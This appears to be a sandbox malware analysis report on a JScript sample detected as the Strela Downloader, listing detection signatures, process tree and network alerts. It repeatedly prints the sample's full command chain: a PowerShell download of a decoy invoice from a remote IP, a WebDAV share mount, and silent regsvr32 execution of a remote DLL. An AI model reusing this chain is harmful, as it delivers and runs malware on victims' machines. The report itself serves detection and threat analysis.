Edit tour

Windows Analysis Report
3881066198165199.js

Overview

General Information

Sample name:	3881066198165199.js
Analysis ID:	1587971
MD5:	b3a076c8dd0c32b4cbf1b1844f486ba2
SHA1:	f819b0c004800faa354abebfda57dc994925dcaa
SHA256:	c0870daf60d282f36d16c6d873a1f056b9943890b54120983f0b9268665e3146
Tags:	jsuser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 6368 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\3881066198165199.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 1988 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15762221217786.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 5420 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 6796 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 2848 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 2036 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 5840 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2120 --field-trial-handle=1628,i,10686114949434199213,11936468120320487856,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 3848 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 348 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 5880 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 6368	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15762221217786.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 1988, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 6796, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15762221217786.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 1988, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 6796, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\3881066198165199.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\3881066198165199.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4084, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\3881066198165199.js", ProcessId: 6368, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 348, Protocol: tcp, SourceIp: 192.168.2.8, SourceIsIpv6: false, SourcePort: 49705

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15762221217786.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15762221217786.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\3881066198165199.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6368, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15762221217786.dll, ProcessId: 1988, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15762221217786.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15762221217786.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\3881066198165199.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6368, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15762221217786.dll, ProcessId: 1988, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15762221217786.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15762221217786.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\3881066198165199.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6368, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15762221217786.dll, ProcessId: 1988, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15762221217786.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15762221217786.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\3881066198165199.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6368, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15762221217786.dll, ProcessId: 1988, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15762221217786.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15762221217786.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\3881066198165199.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6368, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15762221217786.dll, ProcessId: 1988, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\3881066198165199.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\3881066198165199.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4084, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\3881066198165199.js", ProcessId: 6368, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15762221217786.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 1988, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 6796, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 3848, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 348, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 624, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 5880, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 3848, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 348, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15762221217786.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15762221217786.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\3881066198165199.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6368, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15762221217786.dll, ProcessId: 1988, ProcessName: cmd.exe

Suricata Signatures

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T20:03:00.386137+0100	1810005	1	Potentially Bad Traffic	192.168.2.8	49705	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T20:02:57.838930+0100	1810000	2	Potentially Bad Traffic	192.168.2.8	49704	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 3881066198165199.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 3881066198165199.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic

Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.8:49705 -> 193.143.1.205:8888

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 19:02:57 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49705

Source: global traffic

TCP traffic: 192.168.2.8:49705 -> 193.143.1.205:8888

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.8:49704 -> 193.143.1.205:80

Source: global traffic

